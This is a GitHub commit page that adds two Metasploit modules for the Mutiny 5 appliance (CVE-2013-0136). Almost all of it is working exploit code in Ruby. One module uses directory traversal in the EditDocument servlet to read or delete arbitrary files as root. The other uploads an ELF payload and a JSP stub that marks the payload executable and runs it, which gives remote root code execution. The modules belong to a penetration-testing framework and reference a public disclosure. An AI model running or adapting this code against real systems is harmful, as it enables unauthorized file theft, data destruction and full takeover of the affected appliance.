Skip to content

Commit 649a882

Browse files
author
jvazquez-r7
committed
Add modules for Mutiny vulnerabilities
1 parent 6457a96 commit 649a882

File tree

2 files changed

+381
-0
lines changed

2 files changed

+381
-0
lines changed
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
17+
'Description' => %q{
18+
This module exploits the EditDocument servlet from the frontend on the Mutiny 5
19+
appliance. The EditDocument servlet provides file operations, such as copy and
20+
delete, which are affected by a directory traversal vulnerability. Because of this,
21+
any authenticated frontend user can read and delete arbitrary files from the system
22+
with root privileges. In order to exploit the vulnerability a valid user (any role)
23+
in the web frontend is required. The module has been tested successfully on the
24+
Mutiny 5.0-1.07 appliance.
25+
},
26+
'Author' =>
27+
[
28+
'juan vazquez' # Metasploit module and initial discovery
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', '2013-0136' ],
34+
[ 'US-CERT-VU', '701572' ],
35+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
36+
],
37+
'Actions' =>
38+
[
39+
['Read'],
40+
['Delete']
41+
],
42+
'DefaultAction' => 'Read',
43+
'DisclosureDate' => 'May 15 2013'))
44+
45+
register_options(
46+
[
47+
Opt::RPORT(80),
48+
OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']),
49+
OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),
50+
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
51+
OptString.new('PATH', [ true, 'The file to read or delete' ]),
52+
], self.class)
53+
end
54+
55+
def run
56+
@peer = "#{rhost}:#{rport}"
57+
58+
print_status("#{@peer} - Trying to login")
59+
if login
60+
print_good("#{@peer} - Login successful")
61+
else
62+
print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options")
63+
return
64+
end
65+
66+
case action.name
67+
when 'Read'
68+
read_file(datastore['PATH'])
69+
when 'Delete'
70+
delete_file(datastore['PATH'])
71+
end
72+
end
73+
74+
def read_file(file)
75+
76+
print_status("#{@peer} - Copying file to Web location...")
77+
78+
dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
79+
res = send_request_cgi(
80+
{
81+
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
82+
'method' => 'POST',
83+
'cookie' => "JSESSIONID=#{@session}",
84+
'encode_params' => false,
85+
'vars_post' => {
86+
'operation' => 'COPY',
87+
'paths[]' => "../../../../#{file}%00.txt",
88+
'newPath' => "../../../..#{dst_path}"
89+
}
90+
})
91+
92+
if res and res.code == 200 and res.body =~ /\{"success":true\}/
93+
print_good("#{@peer} - File #{file} copied to #{dst_path} successfully")
94+
else
95+
print_error("#{@peer} - Failed to copy #{file} to #{dst_path}")
96+
end
97+
98+
print_status("#{@peer} - Retrieving file contents...")
99+
100+
res = send_request_cgi(
101+
{
102+
'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)),
103+
'method' => 'GET'
104+
})
105+
106+
if res and res.code == 200
107+
store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
108+
print_good("#{@peer} - File successfully retrieved and saved on #{store_path}")
109+
else
110+
print_error("#{@peer} - Failed to retrieve file")
111+
end
112+
113+
# Cleanup
114+
delete_file("#{dst_path}#{::File.basename(file)}")
115+
end
116+
117+
def delete_file(file)
118+
print_status("#{@peer} - Deleting file #{file}")
119+
120+
res = send_request_cgi(
121+
{
122+
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
123+
'method' => 'POST',
124+
'cookie' => "JSESSIONID=#{@session}",
125+
'vars_post' => {
126+
'operation' => 'DELETE',
127+
'paths[]' => "../../../../#{file}"
128+
}
129+
})
130+
131+
if res and res.code == 200 and res.body =~ /\{"success":true\}/
132+
print_good("#{@peer} - File #{file} deleted")
133+
else
134+
print_error("#{@peer} - Error deleting file #{file}")
135+
end
136+
end
137+
138+
def login
139+
140+
res = send_request_cgi(
141+
{
142+
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
143+
'method' => 'GET'
144+
})
145+
146+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
147+
first_session = $1
148+
end
149+
150+
res = send_request_cgi(
151+
{
152+
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
153+
'method' => 'POST',
154+
'cookie' => "JSESSIONID=#{first_session}",
155+
'vars_post' => {
156+
'j_username' => datastore['USERNAME'],
157+
'j_password' => datastore['PASSWORD']
158+
}
159+
})
160+
161+
if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
162+
return false
163+
end
164+
165+
res = send_request_cgi(
166+
{
167+
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
168+
'method' => 'GET',
169+
'cookie' => "JSESSIONID=#{first_session}"
170+
})
171+
172+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
173+
@session = $1
174+
return true
175+
end
176+
177+
return false
178+
end
179+
180+
end
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::EXE
17+
include Msf::Exploit::FileDropper
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Mutiny 5 Arbitrary File Upload',
22+
'Description' => %q{
23+
This module exploits a code execution flaw in the Mutiny 5 appliance. The
24+
EditDocument servlet provides a file upload function to authenticated users. A
25+
directory traversal vulnerability in the same functionality allows for arbitrary
26+
file upload, which results in arbitrary code execution with root privileges. In
27+
order to exploit the vulnerability a valid user (any role) in the web frontend is
28+
required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance.
29+
},
30+
'Author' =>
31+
[
32+
'juan vazquez' # Metasploit module and initial discovery
33+
],
34+
'License' => MSF_LICENSE,
35+
'References' =>
36+
[
37+
[ 'CVE', '2013-0136' ],
38+
[ 'US-CERT-VU', '701572' ],
39+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
40+
],
41+
'Privileged' => true,
42+
'Platform' => 'linux',
43+
'Arch' => ARCH_X86,
44+
'Targets' =>
45+
[
46+
[ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'May 15 2013'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(80),
54+
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
55+
OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),
56+
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ])
57+
], self.class)
58+
end
59+
60+
def upload_file(location, filename, contents)
61+
post_data = Rex::MIME::Message.new
62+
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
63+
post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")
64+
65+
# Work around an incompatible MIME implementation
66+
data = post_data.to_s
67+
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
68+
69+
res = send_request_cgi(
70+
{
71+
'uri' => normalize_uri(target_uri.path, "interface","EditDocument"),
72+
'method' => 'POST',
73+
'data' => data,
74+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
75+
'cookie' => "JSESSIONID=#{@session}"
76+
})
77+
78+
if res and res.code == 200 and res.body =~ /\{"success":true\}/
79+
return true
80+
else
81+
return false
82+
end
83+
end
84+
85+
def login
86+
87+
res = send_request_cgi(
88+
{
89+
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
90+
'method' => 'GET'
91+
})
92+
93+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
94+
first_session = $1
95+
end
96+
97+
res = send_request_cgi(
98+
{
99+
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
100+
'method' => 'POST',
101+
'cookie' => "JSESSIONID=#{first_session}",
102+
'vars_post' => {
103+
'j_username' => datastore['USERNAME'],
104+
'j_password' => datastore['PASSWORD']
105+
}
106+
})
107+
108+
if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
109+
return false
110+
end
111+
112+
res = send_request_cgi(
113+
{
114+
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
115+
'method' => 'GET',
116+
'cookie' => "JSESSIONID=#{first_session}"
117+
})
118+
119+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
120+
@session = $1
121+
return true
122+
end
123+
124+
return false
125+
end
126+
127+
def check
128+
res = send_request_cgi({
129+
'uri' => normalize_uri(target_uri.path, "interface", "/"),
130+
})
131+
132+
if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
133+
version = $1
134+
end
135+
136+
if version and version >= "5" and version <= "5.0-1.07"
137+
return Exploit::CheckCode::Vulnerable
138+
end
139+
140+
return Exploit::CheckCode::Safe
141+
end
142+
143+
def exploit
144+
@peer = "#{rhost}:#{rport}"
145+
146+
print_status("#{@peer} - Trying to login")
147+
if login
148+
print_good("#{@peer} - Login successful")
149+
else
150+
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options")
151+
end
152+
153+
exploit_native
154+
end
155+
156+
def exploit_native
157+
print_status("#{@peer} - Uploading executable Payload file")
158+
elf = payload.encoded_exe
159+
elf_location = "/tmp"
160+
elf_filename = "#{rand_text_alpha_lower(8)}.elf"
161+
if upload_file(elf_location, elf_filename, elf)
162+
register_files_for_cleanup("#{elf_location}/#{elf_filename}")
163+
f = ::File.open("/tmp/test.elf", "wb")
164+
f.write(elf)
165+
f.close
166+
else
167+
fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed")
168+
end
169+
170+
print_status("#{@peer} - Uploading JSP to execute the payload")
171+
jsp = jsp_execute_command("#{elf_location}/#{elf_filename}")
172+
jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m"
173+
jsp_filename = "#{rand_text_alpha_lower(8)}.jsp"
174+
if upload_file(jsp_location, jsp_filename, jsp)
175+
register_files_for_cleanup("#{jsp_location}/#{jsp_filename}")
176+
else
177+
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
178+
end
179+
180+
print_status("#{@peer} - Executing payload")
181+
send_request_cgi(
182+
{
183+
'uri' => normalize_uri(target_uri.path, "m", jsp_filename),
184+
'method' => 'GET'
185+
})
186+
187+
end
188+
189+
def jsp_execute_command(command)
190+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
191+
jspraw << %Q|<%\n|
192+
jspraw << %Q|try {\n|
193+
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
194+
jspraw << %Q|} catch (IOException ioe) { }\n|
195+
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
196+
jspraw << %Q|%>\n|
197+
198+
jspraw
199+
end
200+
201+
end

0 commit comments

Comments
 (0)